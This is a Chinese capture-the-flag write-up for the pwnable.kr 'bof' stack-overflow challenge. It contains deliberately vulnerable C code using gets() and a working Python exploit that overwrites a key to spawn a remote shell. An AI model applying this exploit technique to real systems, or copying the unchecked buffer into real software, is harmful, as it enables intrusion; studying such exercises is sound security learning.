#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void func(int key){
char overflowme[32];
printf("overflow me : ");
gets(overflowme); // smash me!
if(key == 0xcafebabe){
system("/bin/sh");
}
else{
printf("Nah..\n");
}
}
int main(int argc, char* argv[]){
func(0xdeadbeef);
return 0;
}
gets处的数组存在栈溢出的问题。
因为key和overflowme在同一个函数内,所以他们在同一个堆栈内,或者说是有相同的栈底(我的理解),可以通过溢出overflowme的栈来覆盖key原本栈内的内容。
用ida打开下载的bof
从gets上一行看,s是变量overflowme,从gets下一行的cmp(compare比较)可以看出arg_0是变量key。
再回到开头,可以看到overflowme的栈底是-2ch,key的栈底是8(实际上是8h,代表16进制的h不知道为什么省略了),所以两者相差了2*16+12+8=52字节,所以构造payload的时候应该是52字节加上0xcafebabe(数据入栈的时候就像往桶里倒水,栈底就是水桶底部位置,所以需要填满-2c到8的位置,然后输入的数据才能开始覆盖key原本的数据)
我决定使用python的socket套接字实现数据输入
# -*-coding:utf8 -*-
import socket
import telnetlib
import struct
def pwn():
# 创建一个TCP socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
# 连接服务器的9000端口
s.connect(("pwnable.kr",9000))
# 构造payload
payload = str.encode('A' * 52)+b'\xbe\xba\xfe\xca'#小端模式,所以0xcafebabe要反过来
# 向服务器发送数据
s.sendall(payload)
# 创建一个telnet来产生一个控制服务器的shell
t = telnetlib.Telnet()
t.sock = s
#创建一个实时反应的窗口
t.interact()
pwn()
代码参考:https://blog.csdn.net/u012763794/article/details/51992512
python3对payload和sendall函数的数据有了byte和string的要求,为此我了解到若是直接str.encode(\xbe\xba\xfe\xca),会变成\xc2\xbe\xc2\xba\xc3\xfe\xc3\xca,似乎是不同数据之间编码码元不同导致的。
b:bytes
python3.x里默认的str是(py2.x里的)unicode, bytes是(py2.x)的str, b''前缀代表的就是bytes
python2.x里, b前缀没什么具体意义, 只是为了兼容python3.x的这种写法
参考:https://blog.csdn.net/u010496169/article/details/70045895